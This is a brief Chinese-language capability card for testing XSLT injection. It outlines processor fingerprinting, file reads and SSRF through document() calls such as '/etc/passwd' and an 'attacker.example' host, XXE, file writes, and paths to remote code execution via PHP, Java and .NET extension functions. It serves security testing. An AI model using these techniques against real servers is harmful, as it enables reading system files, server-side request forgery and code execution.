用途：当服务端编译或执行攻击者可控的 XSLT 时，按平台选择攻击路径进行安全测试。
主要能力：
- 注入点定位与反射探测，使用无害 payload 确认执行。
- 处理器指纹识别：通过 system-property('xsl:vendor') 等区分 Xalan、Saxon、libxslt、MSXML/.NET。
- 文件读取与 SSRF：document('/etc/passwd')、document('file:///c:/windows/win.ini')、document('http://attacker.example/ssrf')。
- XXE via XSLT：在样式表中使用 DTD 外部实体读取文件。
- 文件写入：EXSLT common 的 exploit:document 写文件。
- RCE 路径：PHP 的 php:function（需 registerPHPFunctions）、Java 的 Xalan/Saxon 扩展函数、.NET 的 msxsl:script 脚本块。
使用方式：先找到参数名含 xslt、stylesheet、transform、template 的注入点或 SOAP 样式表、报表生成器、XML→HTML 转换器；注入唯一命名空间或 xsl:value-of select="'marker'" 探测反射；再做指纹识别并升级攻击。无反射时可尝试错误回显、带外或时间差盲通道。工具可用 Burp Suite、OWASP ZAP 重放 payload，配合 Collaborator 或私有回调服务器观测 document() 请求。
限制：加固的解析器会禁用外部 DTD 或扩展函数，某一路径失败不代表其他向量不可用；现代 PHP 加固通常阻止 php:function；.NET 默认安全配置通常禁用脚本；Java 扩展被禁用时需转向 document() 或 SSRF。没有通用扫描器能替代版本特定的行为验证，建议在匹配目标处理器的实验环境中验证。